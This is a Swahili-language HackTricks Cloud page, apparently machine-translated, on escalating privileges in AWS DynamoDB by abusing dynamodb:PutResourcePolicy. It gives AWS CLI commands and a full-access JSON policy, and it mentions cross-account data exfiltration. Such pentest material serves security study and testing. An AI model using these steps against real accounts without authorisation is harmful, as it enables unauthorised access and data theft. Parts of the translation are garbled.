AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
dynamodb
Kwa habari zaidi kuhusu dynamodb, angalia:
dynamodb:PutResourcePolicy, na kwa hiari dynamodb:GetResourcePolicy
Tangu Machi 2024, AWS inatoa sera za msingi wa rasilimali kwa DynamoDB (AWS News).
Kwa hivyo, ikiwa una dynamodb:PutResourcePolicy kwa jedwali, unaweza kujipa au kumpa principal mwingine ufikiaji kamili wa jedwali hilo.
Kumpa principal yeyote dynamodb:PutResourcePolicy mara nyingi hutokea kwa bahati mbaya, ikiwa admini wanafikiri kwamba kumpa dynamodb:Put* kutamruhusu principal kuweka vitu tu kwenye database - au walipowapa seti ya ruhusa hiyo kabla ya Machi 2024...
Kwa kawaida, pia unapaswa kuwa na dynamodb:GetResourcePolicy, ili usibadilishe ruhusa nyingine zinazoweza kuwa muhimu, bali uingize tu ruhusa za ziada unazohitaji:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Ikiwa huwezi kupata sera ya sasa, tumia hii inayoipa principal wako ruhusa kamili juu ya jedwali:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Ikiwa unahitaji kuibadilisha, hapa kuna orodha ya vitendo vyote vinavyowezekana vya DynamoDB: AWS Documentation. Na hapa kuna orodha ya vitendo vyote vinavyoweza kuruhusiwa kupitia sera inayotegemea rasilimali NA ni ipi kati ya hizi inaweza kutumika kwa akaunti nyingine (fikiri uondoaji wa data!): AWS Documentation
Sasa, ukiwa umeandaa waraka wa sera policy.json, weka sera ya rasilimali:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Sasa, unapaswa kuwa na ruhusa ulizohitaji.
Post Exploitation
Kulingana na ninavyojua, hakuna njia nyingine ya moja kwa moja ya no other direct way to escalate privileges in AWS just by having some AWS dynamodb permissions. Unaweza read sensitive taarifa kutoka kwenye majadwali (ambazo zingeweza kuwa na AWS credentials) na write information on the tables (ambazo zingeweza kusababisha udhaifu mwingine, kama lambda code injections...) lakini chaguzi hizi zote tayari zimetajwa katika DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Read data abusing data Streams
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud